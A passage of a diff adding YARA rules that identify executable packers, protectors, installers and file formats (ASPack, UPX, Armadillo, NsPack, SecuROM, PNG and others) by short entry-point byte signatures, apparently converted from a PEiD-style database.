+		$0 = {5D 5F 8B 45 00 83 F8 00 0F 85 87 01 00 00 89 E8 83 C0 24 50 FF 14 2F 89 45 00 89 E8 83 C0 31 50 FF 75 00 FF 54 2F 04 89 45 04 89 E8 83 C0 3E 50 FF 75 00 FF 54 2F 04 89 45 08 89 E8 83 C0 4A 50 FF 75 00 FF 54 2F 04 89 45 0C 89 E8 83 C0 5D 50 FF 75 00 FF 54 2F 04 89 45 10 89 E8 83 C0 6B 50 FF 75 00 FF 54 2F 04 89 45 14 89 E8 83 C0 7B 50 FF 75 00 FF 54 2F 04 89 45 18 89 E8 05 87 00 00 00 50 FF 75 00 FF 54 2F 04 89 45 1C 89 E8 05 94 00 00 00 50 FF 75 00 FF 54 2F 04 89 45 20 89 E8 83 C0 24 50 68 04 01 00 00 FF 55 04 83 F8 04 0F 8C 07 01 00 00 01 E8 83 C0 23 8A 10 80 FA 5C 74 04 40 C6 00 5C 31 C9 8A 94 29 29 01 00 00 88 54 01 01 80 FA 00 74 03 41 EB ED 8B 85 49 01 00 00 83 F8 00 0F 84 87 00 00 00 6A 00 68 80 00 00 00 6A 04 6A 00 6A 00 68 00 00 00 C0 89 E8 83 C0 24 50 FF 55 08}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V12DLLDemo__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.2.DLL.Demo -> SIS-Team"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_082_EXE_
+{
+	meta:
+		description = "aPack 0.82 [EXE]"
+	strings:
+		$0 = {1E 06 8C CB BA 00 00 03 DA 8D 87 00 00 FC 33 F6 33 FF 48 4B 8E C0 8E DB B9 08 00 F3 A5 4A 75 EE 8E C3 8E D8 33 FF BE 31 00 05 00 00 0E 50 6A 00 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_34__North_Star_
+{
+	meta:
+		description = "NsPack 3.4 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00}
+		$2 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _LZEXE_v091_v100a_1_
+{
+	meta:
+		description = "LZEXE v0.91, v1.00a (1)"
+	strings:
+		$0 = {06 0E 1F 8B ?? ?? ?? 8B F1 4E 89 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v100b_
+{
+	meta:
+		description = "ASPack v1.00b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Modified_Stub_c__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub c -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ACProtect_v135__risco_software_Inc__Anticrack_Software_
+{
+	meta:
+		description = "ACProtect v1.35 -> risco software Inc. & Anticrack Software"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 47 65 74 50 72 6F 63}
+		$1 = {4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73}
+		$2 = {4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 47 65 74 50 72 6F 63}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Krypton_v05__yadolockless_
+{
+	meta:
+		description = "Krypton v0.5 -> yado/lockless"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED 71 44 ?? 00 2B 85 64 60 ?? 00 EB 43 DF}
+	condition:
+		$0 at entrypoint
+}
+rule _unknown_by_GyikSoft_2_
+{
+	meta:
+		description = "unknown by GyikSoft 2"
+	strings:
+		$0 = {8C C8 05 00 00 50 B8 00 00 50 B0 FF 06 8C D2 06 83 EA 1E 50 B0 08 52 FC 50 8C D2 8C CD BB 00 00 03 EB 4A 8E DD 8E C2 4D B9 08 00 33 FF BE 00 00 AD 35 00 00 AB E2 F9 4B 79 E8 8E DA 0E BE 00 00 33 DB 8B FB 07 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_103b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.03b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED AE 98 43 00 B8 A8 98 43 00 03 C5 2B 85 18 9D 43 00 89 85 24 9D 43 00 80 BD 0E 9D 43}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector_V10X_VcAsm_
+{
+	meta:
+		description = "VcAsm Protector V1.0X-> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact_253_DLL_Slim_Loader__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.53 DLL (Slim Loader) --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32}
+		$1 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_V6X_Minimum_Protection__Silicon_Realms_Toolworks__20081227_
+{
+	meta:
+		description = "Armadillo V6.X Minimum Protection -> Silicon Realms Toolworks * 20081227"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 E4 00 8B 75 08 3B 35 ?? ?? ?? ?? 77 22 6A 04 E8 ?? ?? ?? ?? 59 83 65 FC 00 56 E8 ?? ?? ?? ?? 59 89 45 E4 C7 45 FC FE FF FF FF E8 ?? ?? ?? ?? 8B 45 E4 E8 ?? ?? ?? ?? C3 6A 04 E8 ?? ?? ?? ?? 59 C3 55 8B 6C 24 08 83 FD E0 0F 87 9F 00 00 00 53 8B ?? ?? ?? ?? ?? 56 57 33 F6 39 ?? ?? ?? ?? ?? 8B FD 75 18 E8 ?? ?? ?? ?? 6A 1E E8 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 59 59 ?? ?? ?? ?? ?? 83 F8 01 75 0E 3B EE 74 04 8B C5 EB 03 33 C0 40 50 EB 1E 83 F8 03 75 0B 55 E8 ?? ?? ?? ?? 3B C6 59 75 17 3B EE 75 03 33 FF 47 83 C7 0F 83 E7 F0 57 56 FF 35 ?? ?? ?? ?? FF D3 8B F0 85 F6 75 26 39 05 ?? ?? ?? ?? 6A 0C 5F 74 0D 55 E8 ?? ?? ?? ?? 85 C0 59 75 81 EB 07 E8 ?? ?? ?? ?? 89 38 E8 ?? ?? ?? ?? 89 38 5F 8B C6 5E 5B 5D C3 55 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? C7 00 0C 00 00 00 33 C0 5D C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_V2xx_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor V2.xx (compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+	condition:
+		$0
+}
+rule _EncryptPE_V220070411__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2007.04.11 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_ASPack_2xx_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASPack 2.xx Heuristic] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6}
+	condition:
+		$0 at entrypoint
+}
+rule _PNG_Graphics_format_
+{
+	meta:
+		description = "PNG Graphics format"
+	strings:
+		$0 = {89 50 4E 47 0D 0A 1A 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _SafeGuard_V10X__simonzh2000_
+{
+	meta:
+		description = "SafeGuard V1.0X -> simonzh2000"
+	strings:
+		$0 = {E8 00 00 00 00 EB 29 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 9C 81 C1 E2 FF FF FF EB 01 ?? 9D FF E1}
+		$1 = {E8 00 00 00 00 EB 29 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 9C 81 C1 E2 FF FF FF EB 01 ?? 9D FF E1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Packman_0001_
+{
+	meta:
+		description = "Packman 0.0.0.1"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 58 8D A8}
+	condition:
+		$0 at entrypoint
+}
+rule _SecuROM_V7X__Sony_DADC___20080114_
+{
+	meta:
+		description = "SecuROM V7.X -> Sony DADC  * 20080114"
+	strings:
+		$0 = {9C 9C 83 EC 1C C7 44 24 18 ?? ?? ?? ?? C7 44 24 14 BF 03 01 00 89 74 24 10 BE F0 ?? ?? ?? C1 4C 24 18 18 ?? 89 6C 24 0C 8B 2E 01 6C 24 18 ?? 83 C6 04 66 FF 4C 24 14 52 5A 75 ED 80 64 24 18 FE ?? 8B 74 24 1C C1 E1 00 8B 6C 24 18 89 74 24 18 8B 74 24 10 89 6C 24 1C C1 E2 00 8B 6C 24 0C 83 C4 18 9D ?? 74 12 81 04 24 ?? ?? ?? ?? ?? 81 04 24 C3 D1 FF 00 EB FA 6B 81 04 24 ?? ?? ?? ?? 0F AC F8 00 81 04 24 C2 04 00 3E FF 74 24 04 9D EB F5 EE 93 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_4000053__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.00.0053 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _WebCops_EXE__LINK_Data_Security_
+{
+	meta:
+		description = "WebCops [EXE] -> LINK Data Security"
+	strings:
+		$0 = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_110_beta_8_
+{
+	meta:
+		description = "PECompact 1.10 beta 8"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 00 87 DD 8B 85 9A 70 40 00 01 85 03 70 40 00 66 C7 85 00 70 40 00 90 90 01 85 92 70 40 00 BB 14 08 00 00 03 9D 9E 70 40 00 03 9D 9A 70 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V077b__MATCODE_Software__20080313_
+{
+	meta:
+		description = "MPRESS V0.77b -> MATCODE Software * 20080313"
+	strings:
+		$0 = {60 E8 0B 00 00 00 E8 77 00 00 00 61 E9 75 01 00 00 E8 00 00 00 00 58 05 75 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 AD 2B C8 03 F1 8B C8 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 3B FE 73 3A AC 0A C0 74 35 8A C8 24 3F 80 E1 C0 C1 E0 10 66 AD 80 F9 C0 74 1C F6 C1 40 75 08 8B C8 2B C0 F3 AA EB D7 8B D6 8B CF 03 F0 E8 7E 00 00 00 03 F8 EB C8 8B C8 F3 A4 75 FC EB C0 C3 E8 00 00 00 00 5F 81 C7 79 FF FF FF B0 E9 AA B8 81 01 00 00 AB 2B FF E8 00 00 00 00 58 05 ED 00 00 00 8B 78 08 8B D7 8B 78 04 0B FF 74 42 8B 30 03 F0 2B F2 8B EE 8B 48 10 2B CD 74 33 8B 50 0C 03 F2 03 FE 2B C0 AD 3B F7 73 25 8B D8 AD 3B F7 73 1E 8B D0 83 EA 08 03 D6 66 AD 0A E4 74 0B 25 FF 0F 00 00 03 C3 03 C5 29 08 3B F2 73 D8 EB E9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _DrWeb_v400p_Virus_DataBase_
+{
+	meta:
+		description = "DrWeb v4.00+ Virus DataBase"
+	strings:
+		$0 = {49 44 52 57}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v201_
+{
+	meta:
+		description = "PE Lock NT v2.01"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+		$1 = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_v114_beta__ap0x_
+{
+	meta:
+		description = "RLPack v1.14 beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 67 02 00 00 8D 9D 2E 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 3B 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V520__Silicon_Realms_Toolworks__20080214_
+{
+	meta:
+		description = "Armadillo V5.20 -> Silicon Realms Toolworks * 20080214"
+	strings:
+		$0 = {E8 38 3D 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 98 1E 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 EC 1C 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 7D 1C 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? ?? 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 FE 1A 00 00 59 89 7D FC FF 75 08 E8 56 45 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 96 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 C0 FA FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 A4 19 00 00 59 C3 3B DF 75 0D 8B 45 10 3B C7 74 06 C7 00 0C 00 00 00 8B C3 E8 CC 1D 00 00 C3 55 8B EC 51 83 65 FC 00 57 8D 45 FC 50 FF 75 0C FF 75 08 E8 CA FE FF FF 8B F8 83 C4 0C 85 FF 75 19 56 8B 75 FC 85 F6 74 10 E8 C9 1B 00 00 85 C0 74 07 E8 C0 1B 00 00 89 30 5E 8B C7 5F C9 C3 6A 0C 68 ?? ?? ?? ?? E8 3B 1D 00 00 8B 75 08 85 F6 74 75 83 3D ?? ?? ?? ?? ?? 75 43 6A 04 E8 FF 19 00 00 59 83 65 FC 00 56 E8 84 3C 00 00 59 89 45 E4 85 C0 74 09 56 50 E8 A0 3C 00 00 59 59 C7 45 FC FE FF FF FF E8 0B 00 00 00 83 7D E4 00 75 37 FF 75 08 EB 0A 6A 04 E8 ED 18 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V30V30X__SetiSoft_Team__20090215_
+{
+	meta:
+		description = "Private exe Protector V3.0-V3.0X -> SetiSoft Team * 20090215"
+	strings:
+		$0 = {00 2E ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 E0 2E ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 E0 2E 72 73 72 63 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 40 00 00 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Inset_Systems_PIX_Graphics_format_
+{
+	meta:
+		description = "Inset Systems PIX Graphics format"
+	strings:
+		$0 = {03 00 ?? 00 00 00 20 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AMGC_Archive_
+{
+	meta:
+		description = "AMGC Archive"
+	strings:
+		$0 = {AD 36 22 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_033__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 033) -> GlOFF"
+	strings:
+		$0 = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10}
+		$1 = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_14__c199899_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.4 -> (c)1998-99 Ian Luck (h)"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v109a_
+{
+	meta:
+		description = "Inno Setup Module v1.09a"
+	strings:
